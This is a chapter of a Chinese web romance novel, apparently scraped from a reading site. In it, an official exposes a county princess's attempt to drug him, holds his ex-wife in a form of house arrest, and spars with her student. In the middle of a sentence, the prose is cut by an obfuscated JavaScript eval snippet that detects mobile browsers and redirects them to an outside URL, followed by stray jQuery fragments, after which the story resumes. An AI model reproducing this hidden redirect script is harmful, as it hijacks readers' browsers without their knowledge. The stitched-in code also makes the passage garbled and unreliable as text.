大白

作品:《和离后的第五年

    第21章


    大白


    21


    这间客栈地处应天繁华街段,迎来送往,也算见过了不少大世面。


    然而这一次,却是前所未有的尴尬与混乱。小小的楼梯口,上上下下挤满了人。


    但学生们从楼下带上来的嘈杂戛然而止,他们听到了容津岸和佟归鹤的对话,好奇心作祟,原是想立刻交头接耳的,又觉得气氛不对。


    便只剩下了诡异的安静。


    一切的始作俑者容津岸,倒是最自如最惬意的那一个,他姿态懒懒散散,疏疏睇向容文乐,以及容文乐手中捧着的外衫直裰,又转过脸,对面色僵硬得像石头一样的佟归鹤,幽幽道:


    "不知佟公子是否介意,我借用你这间房,换一下外衫?昨晚着实有些混乱,恐污了我这身二品的官袍。‘被点到的容文乐只能将头埋得更低,不敢让旁人看到他此刻复杂的表情。


    这、这.....大人这是怎么回事?


    那时候在池州,也是面对佟归鹤、面对叶娘子的这几个学生,大人可谓是从容不迫、气定神闲,然而今日,仅仅过了一夜,却与那时的表现判若两人。甚至,容文乐还十分以下犯上,觉得大人对佟归鹤说的那两句话,实在是太过睚眦必报,是小人的作风。这样想着,容文乐的额头浮上了一层虚汗。他不敢想身侧的佟归鹤会如何应对那样的挑衅,一颗心扑通扑通直跳,又忽然听到咚咚咚的脚步声,急匆匆自楼下往楼上而来。


    "本县主定要


    小小的楼梯口这下更挤了。


    康和县主的声音,在她看清这楼上的局势时戛然而止。昨晚,她在府衙露宿至半夜,哆哆嗦嗦被夜风冻醒之后,也再顾不得旁的,起来就直直往容津岸的值房里冲,却发现那里早已人去楼空。


    一问才知道,容津岸是入夜后从府衙的后门离开的,主仆两人行色匆匆,并未交代去向。康和县主一心惦记着她那碟下了药的四叶奶黄酥,当下出了府衙,乘着马车,在八街九陌的应天城里找了整个后半夜,才终于看见了容津岸那辆马车,停在这间客栈的门口。


    谁知道,上来就看见了她最不想看见的人。"好啊,真好啊,今天的人这么齐,是在开大会吗?怎么不知会我一声呢?”折腾了整整七八个时辰的康和县主一肚子火,快要把头发稍都燃起来了。她一见容津岸身旁盈盈玉立的那个女人,就更是气不打一处来。


    长眉乌发,绿鬓朱颜,只简简单单扎单侧马尾,随意得像是把这所有的外男当做了空气,再朴素不过的鹅黄色穿在她的身上,却把她衬托得,好像刚出炉的、白嫩嫩的豆腐一样。


    这叫什么,清水出芙蓉,天然去雕饰①?康和县主微微发抖。


    在这个时辰,这个地点,昨晚她给津岸哥哥下的药,被谁得了便宜,简直不言而喻!


    据说被男,色滋养过的女人,举手投足都充满媚态。怎么会有这样的淫.娃.荡.妇,如此厚颜无耻之人呢?康和县主的怒火仿佛要把整个客栈全部烧掉。不对,不对。


    那晚在津岸哥哥的同窗聚会上,她听来的话,与眼前的这些,诡异地串联在了一起。


    康和县主脑海一闪,牙根咬碎;


    叶采薇,叶采薇是吧!


    装,装,装得真好,装得真妙,装得天上有地下无,把所有人都骗得团团转,害她几次出丑!尤其是在山庄里第一次见面,她真把叶采薇当做了不起眼的姚氏,叶采薇装作好奇问她“叶氏”的事情,她大言不惭,为了将津岸哥哥的前妻贬得一文不值,竟当着正主的面,胡编乱造了许多谣言!


    装,再装,她今天无论如何都要豁出去,豁出去,撕破脸!


    “既然如此,”康和县主扭手扭脚,拨开挤在楼梯口的两个学生,径直跃上前来,“有些话,当着大家的面,也该说清楚了。


    “叶采薇,叶采薇才是你的真名吧?‘几个学生不明真相,一听这个名字,顿时惊得眼珠直瞪。


    叶采薇?叶采薇不是那谁.


    所以所以,在池州的时候,容大人脸上的巴掌印,是被他们的老师打的?下手可真狠!


    康和县主还在继续,她捻着锦帕,食指无礼地指向叶采薇,快要戳到她清雅的脸上去:


    “太子逆案罪臣叶渚亭之女,叶采薇,你以为你换了个名字,躲到南边来,就有资格开班讲学,传授你的悖逆之说了吗?,


    她的语调尖锐,仿佛要刺破听者的耳膜,而叶采薇处之泰然,只浅浅吸了口气:


    "县主娘娘,我与你无冤无仇,何必如此咄咄逼人。两人之间,高下立判。


    叶采薇全然事不关己的模样,落在康和县主眼里,只能将她狠狠一激,她厉声:


    “无冤无仇?上次在山庄,我问你可否与叶氏相识,你又是怎么回答我的?为什么不实话实说?把我当做傻子蒙骗,看我做一个跳梁小丑,你心里面得意的很吧?还说与我无冤无仇?''


    “可若我真是毫不知情的陌生人,县主娘娘就可以胡乱在我面前抹黑叶氏、诋毁叶氏了吗?“叶采薇樱唇轻启,淡淡接了康和县主的逼视,淡定得不像话:“叶采薇与县主娘娘无冤无仇,仅仅因为她是容津岸的前妻,就可


    以横遭你的无耻攻讦了吗?以彼之矛,攻彼之盾,康和县主顿感理亏。但她绝不会认输,立刻想到什么,抬脸,望向叶采薇身旁一言不发的容津岸;


    “津岸哥哥.....她、叶采薇她对外称你已经病故了五年,你难道无动于衷,任由她将你抹黑诋毁?’学生们顾不得去捡掉落满地的下巴,齐齐将目光对准容津岸。


    容津岸面不改色。


    “至于县主所言,所谓悖逆之说.....众所周知,家父生前虽因参与国储之争而落得身败名裂的下场,但家父之才学茹古涵今,他也曾是当朝公认的大儒。我是他亲生女儿、也是他唯一的血脉,从小受他躬身教导,若认定我对学生的所授所讲皆为悖逆之说,那容大人同样曾为家父高徒,


    叶采薇目光在容津岸的脸上微微一扫,顿了顿,“我记得,当年容大人科举入仕,可是在殿试上被陛下钦点了探花郎,容大人用家父教授的学问本事博得陛下青睐,岂不也是悖逆?"


    “无稽之谈。”容津岸自然而然接过话来,“叶阁老的知遇之恩,对容某倾囊相授,纵使时隔多年,也仍旧历历在目。


    说起旧事,他的眉目倒是多了几分正经。叶采薇和容津岸两人的一唱一和,不仅仅强有力地反驳了康和县主的质问,更是在无声打她的脸,只见她脸上一阵红一阵白,牙关切切,终于忍不住:”容津岸,我问你,当初,是不是因为我和她长得像,你才愿意搭理我的?"


    围观看戏的几名学生下巴还没捡完,又掉了一地。什么意思什么意思?


    所以说容大人确实在与他们的老师和离后与康和县主有染,而且还是因为,康和县主与老师长相相似?话本子里才有的替身故事吗?


    被质问和齐盯的容津岸,嗤笑一声。“搭理县主什么?‘


    然后他沐雨栉风的笑容骤然凝结,如同夜航的行舟濡染被烟泽笼罩,反问


    "是县主假手他人,向本官递送有毒的吃食吗?话音落地的瞬间,康和县主的脸失了血色。他突然自称“本官”,当然是要与她彻底划清界限。绝情的男人最是可怖,把柄落在他的手里,她恐怕不能善了。所谓"投毒”的内容难以启齿,天知地知,她嗫嚅难言。“县主投毒一事,非同小可。”容津岸正色,如星奔川骛,“本官是想就地联系应天知府处理此案,县主既然不请自来,那就请随本官走一趟。


    容津岸说完,容文乐会意,向康和县主做了一个"请’的手势。


    而康和县主涨红了脸,实在想不到拒绝的说辞,只好照做。


    看戏的学生们,包括佟归鹤在内,都是涉世未深的青年。


    原本以为今日所闻所见不过男女之间的八卦逸闻,却转眼扯上官非,他们更是目瞪口呆满腹狐疑,只想等着容津岸与康和县主走后,再细细向他们的老师叶采薇问个清楚明白。


    可谁知,容津岸并未挪步,反而虚虚倾了过来:“叶先生是此案的重要人证,也必须跟我走一趟。‘**炒


    叶采薇被带到了一个单独的房间。


    当年太子逆案爆发,叶渚亭身为主谋深陷天牢,不识囹圄的叶采薇曾在温谣夫君孟崛的帮助下,入天牢探视过父亲。也因此,她知晓深牢大狱是何等模样,绝不是眼前这间,窗明几净、堂阔廊清--


    “容津岸,你什么意思?‘


    她冷冷质问。


    若是只要她为投毒一事做个人证,在衙门里直接升堂就好,又哪里需要这样奇奇怪怪的过场?“康和县主的身份特殊,她父亲又是三皇子殿下面前的红人。”容津岸不疾不徐,冠冕堂皇的话被他说得极其漂亮。


    "事情繁多,你先在此暂住几日,等到需要你出面的时候,我自会来请你。


    说完,转身就要离开。


    叶采薇追了上去,看他转过脸来,眉宇间的烟云散开,鼻梁挺阔,薄唇的形状极为好看,叫人移不开眼。“我是人证不是人犯,哪有因此被软禁的道理?”面对如斯男色,叶采薇的态度却极其冷硬,“请你立刻放了我,这个案子需要我出面的时候,去客栈里找我就好。"容津岸的目光压过来。


    两个人现在所处,在这房间门口的圈椅前,叶采薇被他盯住,黑云压城,只觉得心跳莫名加快。她明明什么都没说,他却像是看穿了她。“客栈?”薄唇一张一合,目光只淡淡地扫过她越来越红的脸颊,在她颤抖的唇瓣徘徊,又向上,睇向她汪着潮水的眼睛。


    “哪里还有客栈能找到你,提前告诉我?反正,你肯定不在应天的客栈了。


    叶采薇莫名心虚,像是被滞结于泥淖,耳尖发烫。”两天之前,你去了一趟镖局,定下了两个男镖师护送你们。”容津岸将她的窘迫尽收眼底,刻意咬死了那个男”字。


    “如果说,你真要留在应天陪你那些学生秋闱,又何必专门请人护送?


    他还在说:


    “因为你被我发现,五年来一直在小小的东流躲着,所以东流也回不去了,是不是?你想另外再找一个地方躲起来,像这五年一样,让我再也找不到你,是不是?''容津岸一口气说了好多话,身形未动,叶采薇忽然一软,跌坐在了身后的圈椅上。


    他怎么会,怎么会什么都知道


    ?


    竟然连她去过镖局、定下了镖师的事都知晓,还能准确猜中她的想法?


    “是又如何?”她扬起螓首,以高傲的姿态掩饰自己,平阳下山的老虎,抑或张牙舞爪的猫咪,“我与你无瓜无葛,早就说好了,死生不复相见。这一次,是我不幸见到了你,之后我躲你,躲你远远的,又为什么不可以?''晨起的青丝来不及梳理,挽发的头绳崩断,长发如黑瀑一般在后背披散,叶采薇弓起脊背,光洁的玉颈不沾一丝微尘。


    这模样,竟然像极了昨晚被他伺候的时候。她毫无察觉,鹅蛋一样的脸上还泛着浓浓的愠怒:“还有,你昨晚答应过我什么?你对天赌咒发誓,我帮了你这一次,你从此之后再也不出现,也再不与我纠缠,现在在做什么?容津岸,就算是三岁小儿,也知道言出必行的基本道理,你怎么反而还不如一个三岁小儿?容津岸并未说话,只是看着她。


    眉眼疏懒淡漠,衬得她的激动和严厉都更像是无能狂怒。


    叶采薇听见自己心跳的声音,他长臂一展,撑在圈椅两侧的扶手上。


    居高临下睥睨的姿态,与他眉眼疏懒淡漠的姿态好似根本不相关。


    "我在帮你,薇薇。’


    他开口,蓝紫色的二品官袍,惨白的皮肤。”被康和县主这一闹,你的身份、你和我的关系,都被你的学生们知道了,还有那个佟归鹤,他也知道了。容津岸的语气悠然自得,好似是在与她闲聊家常一般:“一直以来,你是怎么撒谎骗他们的?''“你说你姓姚,丈夫早亡,实在是没了倚仗,只能在青莲书院教书糊口。为人师者,必先正其身②,”他故意一顿,好整以暇地欣赏她眼底翻涌却无可奈何的怒意,“薇薇,你满口的谎言已经被揭穿了,之后你又如何再为人师表,面对那些信赖你仰慕你的学生?‘“你--你--”叶采薇杏眼圆睁,紧紧咬着樱唇。向来能言善辩、利口巧辞的她,竟然一时语塞,期期艾艾。


    探花郎却没有半点停歇的意思,步步紧逼:"他们的秋闱近在眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14578471|151876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前,明日就该第一场入贡院,三年一届的人生大事,你在这时候离开他们,刚好也可以缓一缓。


    说话间,他漾起了点点笑意,但又仅仅止于唇角。"我所做的一切都在帮你,薇薇,你该谢谢我才对,怎么还反过来指责我?嗯?


    叶采薇气得小脸通红,饱满的胸脯上下起伏,她恨恨:“正话反话都被你说完了,我还能怎么说?既然容阁老执意要留我,那就烦请容阁老把我的两个婢女带来,我养尊处优惯了,一个人实在没办法生活。‘容津岸睇过来,漆黑的眼眸像无底的渊薮,他把中指与食指并拢,用指背轻拂叶采薇因为虚张声势而紧绷的下颌。


    “按察使衙门重地,闲人勿进,问鹂和见雁,你只能选一个。


    说完,还特意捻了捻长指,像是在回味她面颊上滑腻的触感。


    她实在想不明白他的用意,咬牙:“那就.....问鹂。“求我,”容津岸却得寸进尺,春风得意,“我把问鹂给你带来。


    然后好像猜到她忍无可忍,要立刻像一只炸毛的猫咪一样扑过来,容津岸利落地收手,后退,行至门边,回身:”问鹂来的时候,会给你带外伤的药。’关门声响,叶采薇低垂视线。


    手心的擦伤、手腕的肿伤,寸寸失守,分明昭彰着容津岸昨晚的恶行。


    她肠子都悔青了。


    昨晚上,就不该一时鬼迷心窍答应他的无理要求,以至于现在,深陷进退两难的境地,甚至悲观地想,随时随地都可能坠入万劫不复。


    ***


    昨晚的那个食盒,经万夫人之手送到了容津岸的值房,因而康和县主深陷公案,那位万夫人也被牵扯了进来,秘密关押。


    她的夫君万建义收到消息,急急来找容津岸。前晚上同窗聚会,万建义当众嘲讽容津岸“钻营人脉的高手",因为担心万夫人莫名其妙被牵连是容津岸在挟机报复,所以话里话外,都不客气。


    可谁知容津岸进退有据,态度倒是公事公办抓不出半点错处,可也丝毫不提万夫人的事:“秋闱近在眼前,万大人身为外帘官,却并未参加昨晚的上马宴,反而留在衙署加班办公,可谓一片公心。万建义深知容津岸并非真心夸赞,额上沁出虚汗,又听面前昔日的探花郎说来:


    “科举三年一度,国之重事,为三皇子选拔人才,你我同朝为官,当和衷共济,可都不能有半点疏忽大意。’此言一出,万建义更是心下惴惴,疑窦顿生,想不明白容津岸话里话外直指秋闱,究竟所为何事。但三皇子的人,就是自己人,他不忘此来的目的,擦掉额头虚汗:


    "与容大人同窗一场,下官深知大人是顾念旧情之人,拙荆她没吃过苦,高床软枕惯了,无妄的牢狱之灾实在是.....


    言外之意,当然是希望容津岸念在同窗一场的旧谊上,对万夫人高抬贵手。


    万建义走后,容津岸命人向万夫人好生嘱咐一番,果断放了人。


    门房又来报,说佟归鹤求见。


    容津岸想了想,表示同意。


    佟归鹤的来意不言而喻。


    叶采薇被容津岸带走之后,他一直守在问鹂和见雁的身边,寸步不离。后来


    ,见容文乐返回,只将问鹂带走猜到叶采薇已经被容津岸扣下,便急急来为老师解围。然而容津岸波澜不惊,慢腾腾与他打太极,三言两语,就把他或轻或重的说辞全部挡了回去,看似云淡风轻,实则密不透风


    “可是.....可是.....”佟归鹤到底年轻,沉不住气,在容津岸这种少年老成的权臣面前,急得像热锅上的蚂蚁,更显得格外莽撞和幼稚。


    他紧绷着声线:


    "容大人爱民如子,宅心仁厚,烦请大人通融一二,让草民与老师见上一面。‘


    说话的时候,容津岸正捧着茶盏,慢条斯理地将茶叶吹开,闻言,眼皮一抬,凛光飞剑似的射过来。纵然佟归鹤早已估料到容津岸是个什么样的人,被他这样一看,仍旧顿感脊背发凉,难以自控地打了个寒噤。然而佟归鹤是个执着至死之人,他仍旧不愿退缩“老师、叶娘子她,她并非作奸犯科的人犯,只是康和县主投毒一案的人证。明日便是秋闱第一场入贡院之日,草民读罢昨日老师重做题法,胸中有疑,想当面请教老师,十分紧急,且此事,并未触犯任何法条。"是,你明日便要秋闱。但两日前的傍晚,你曾经在闹市,与康和县主发生过口角,激烈争吵,后来你甚至还被她派人打伤,伤势甚重,”容津岸将茶盏放下,从容说来:”按察使大人有理由怀疑,你会为了报复康和县主将你打伤,而让叶采薇胡乱作供,扰乱司法。"佟归鹤一怔,浑身僵硬。


    想不到那天他为了老师的一万两银子而被康和县主欺负的事,不仅被容津岸知晓,竟然还成了他今日的绊脚石。可是他搜肠刮肚,也确实再找不到任何冠冕堂皇的理由反驳。


    ”佟公子,明日便是秋闱,一连三场,每场三日,于身于心都是重大考验。你现在要做的事全心全意准备考学之事,不要辜负采薇对你的悉心栽培。容津岸的神色缓和了下来,颇有一种为人师长的和蔼,顿了顿,


    “尤其是因为你长得有几分像我,采薇对你更是多费了不少的心血。’


    佟归鹤沉浸在前半句,诧异着清冷孤傲的容大人与早晨时剑拔弩张的故意挑衅完全不同,变得关怀备至,但后面的这句话,却像是冬日里温暖的泉源活水中猛然扎出来的一条刺,让他心口蓦地一疼。他实在无法正视这个问题。


    当初在山庄,第一眼见到传说中清流领袖的容津岸模样的时候,他便在心底最阴暗的角落,埋下了一个深深的疑问。


    这个疑问被他悉心呵护,一直不敢正视和触碰,等到今日,老师与容大人从前是夫妻的真相大白于眼前时,他还抱有侥幸。


    可谁知道.....


    "草民斗胆,问容大人一句私事,”佟归鹤艰难咽下了口中的津液,心扑通扑通狂跳


    “容大人,你会与老师复婚吗?”


    容津岸俊朗无匹的脸上恢复了无波无澜:“既然是私事,就没有一定要回答你的理由。‘他知道老师还有一个儿子吗?应当不知道的吧。“如果我说,老师她有个秘密,容大人应当感兴趣呢?”佟归鹤问。